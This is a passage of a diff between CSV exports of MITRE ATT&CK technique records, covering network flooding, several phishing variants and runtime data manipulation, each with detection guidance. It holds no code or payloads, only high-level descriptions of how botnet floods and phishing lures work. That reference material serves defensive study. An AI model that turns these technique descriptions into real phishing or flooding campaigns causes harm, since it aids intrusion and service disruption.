DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a reflection amplification DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",1.2,,,,,['Availability'],, +attack-pattern,attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T20:07:18.651Z,2021-03-29T16:11:56.727Z,Direct Network Flood,"Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well. -Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1498/001', external_id='T1498.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/125.html', external_id='CAPEC-125'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/486.html', external_id='CAPEC-486'), ExternalReference(source_name='USNYAG IranianBotnet March 2016', description='Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.', url='https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged'), ExternalReference(source_name='Cisco DoSdetectNetflow', description='Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', url='https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf')]",attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2021-03-29 16:11:56.727000+00:00,Direct Network Flood,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,,,,"Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",,,,['Availability'],True,,,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,1.2 -2020-03-02 19:24:00.951000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. +Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'impact'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1498/001', 'external_id': 'T1498.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/125.html', 'external_id': 'CAPEC-125'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/486.html', 'external_id': 'CAPEC-486'}, {'source_name': 'USNYAG IranianBotnet March 2016', 'description': 'Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.', 'url': 'https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged'}, {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Sensor Health: Host Status', 'Network Traffic: Network Traffic Flow']",,"Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",True,,"['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",1.2,,,,,['Availability'],, +attack-pattern,attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T19:24:00.951Z,2020-10-18T01:55:02.988Z,Spearphishing via Service,"Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services. -A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1566/003', external_id='T1566.003'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/163.html', external_id='CAPEC-163')]",attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2020-10-18 01:55:02.988000+00:00,Spearphishing via Service,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. +A common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1566/003', 'external_id': 'T1566.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html', 'external_id': 'CAPEC-163'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. -Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,2.0 -2020-03-02 19:15:44.182000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. +Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts.",True,,"['Linux', 'macOS', 'Windows']",2.0,,,,,,, +attack-pattern,attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T19:15:44.182Z,2021-04-14T14:38:42.715Z,Spearphishing Link,"Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. -All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1566/002', external_id='T1566.002'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/163.html', external_id='CAPEC-163'), ExternalReference(source_name='Trend Micro Pawn Storm OAuth 2017', description='Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.', url='https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks'), ExternalReference(source_name='Microsoft Anti Spoofing', description='Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', url='https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'), ExternalReference(source_name='ACSC Email Spoofing', description='Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', url='https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf')]",attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-14 14:38:42.715000+00:00,Spearphishing Link,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Philip Winther', 'Shailesh Tiwary (Indian Army)', 'Mark Wee', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. +All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1566/002', 'external_id': 'T1566.002'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html', 'external_id': 'CAPEC-163'}, {'source_name': 'Trend Micro Pawn Storm OAuth 2017', 'description': 'Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.', 'url': 'https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Philip Winther', 'Shailesh Tiwary (Indian Army)', 'Mark Wee', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)']","['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) -Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",,,,,True,,,,"['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace']",,,,2.1 -2020-03-02 19:05:18.137000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. +Because this technique usually involves user interaction on the endpoint, many of the possible detections take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",True,,"['Linux', 'macOS', 'Windows', 'Office 365', 'SaaS', 'Google Workspace']",2.1,,,,,,, +attack-pattern,attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T19:05:18.137Z,2021-10-18T17:39:12.452Z,Spearphishing Attachment,"Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source. -There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1566/001', external_id='T1566.001'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/163.html', external_id='CAPEC-163'), ExternalReference(source_name='Microsoft Anti Spoofing', description='Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', url='https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'), ExternalReference(source_name='ACSC Email Spoofing', description='Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', url='https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'), ExternalReference(source_name='Elastic - Koadiac Detection with EQL', description='Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', url='https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql')]",attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-01 16:21:17.553000+00:00,Spearphishing Attachment,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Philip Winther'],"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. +There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1566/001', 'external_id': 'T1566.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/163.html', 'external_id': 'CAPEC-163'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}, {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Philip Winther'],"['File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) or usage of malicious scripts. -Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)",,,,,True,,,,"['macOS', 'Windows', 'Linux']",,,,2.1 -2020-03-02 18:45:07.892000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. +Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL)",True,,"['macOS', 'Windows', 'Linux']",2.2,,,,,,, +attack-pattern,attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T18:45:07.892Z,2021-10-18T17:39:13.604Z,Phishing,"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. -Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1566', external_id='T1566'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/98.html', external_id='CAPEC-98'), ExternalReference(source_name='Microsoft Anti Spoofing', description='Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', url='https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'), ExternalReference(source_name='ACSC Email Spoofing', description='Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', url='https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf')]",attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='initial-access')]",2021-04-14 14:38:43.211000+00:00,Phishing,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Philip Winther'],"['Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,,,,"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. +Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'initial-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1566', 'external_id': 'T1566'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/98.html', 'external_id': 'CAPEC-98'}, {'source_name': 'Microsoft Anti Spoofing', 'description': 'Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.', 'url': 'https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide'}, {'source_name': 'ACSC Email Spoofing', 'description': 'Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.', 'url': 'https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Philip Winther'],"['File: File Creation', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content']",,"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) @@ -1123,102 +1290,105 @@ URL inspection within email (including expanding shortened links) can help detec Because most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. -Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",,,,,False,,,,"['Linux', 'macOS', 'Windows', 'SaaS', 'Office 365', 'Google Workspace']",,,,2.1 -2020-03-02 14:30:05.252000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. +Anti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",False,,"['Linux', 'macOS', 'Windows', 'SaaS', 'Office 365', 'Google Workspace']",2.2,,,,,,, +attack-pattern,attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-02T14:30:05.252Z,2020-03-28T23:10:34.359Z,Runtime Data Manipulation,"Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. -Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1565/003', external_id='T1565.003'), ExternalReference(source_name='FireEye APT38 Oct 2018', description='FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.', url='https://content.fireeye.com/apt/rpt-apt38'), ExternalReference(source_name='DOJ Lazarus Sony 2018', description='Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.', url='https://www.justice.gov/opa/press-release/file/1092091/download')]",attack-pattern--32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='impact')]",2020-03-28 23:10:34.359000+00:00,Runtime Data Manipulation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Process: OS API Execution', 'File: File Creation', 'File: File Deletion', 'File: File Modification', 'File: File Metadata']",,,,,"Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.",,,,['Integrity'],True,,,"['User', 'Administrator', 'root', 'SYSTEM']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-02 14:27:00.693000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. +Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1546/001) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.","[{'kill_chain_name': 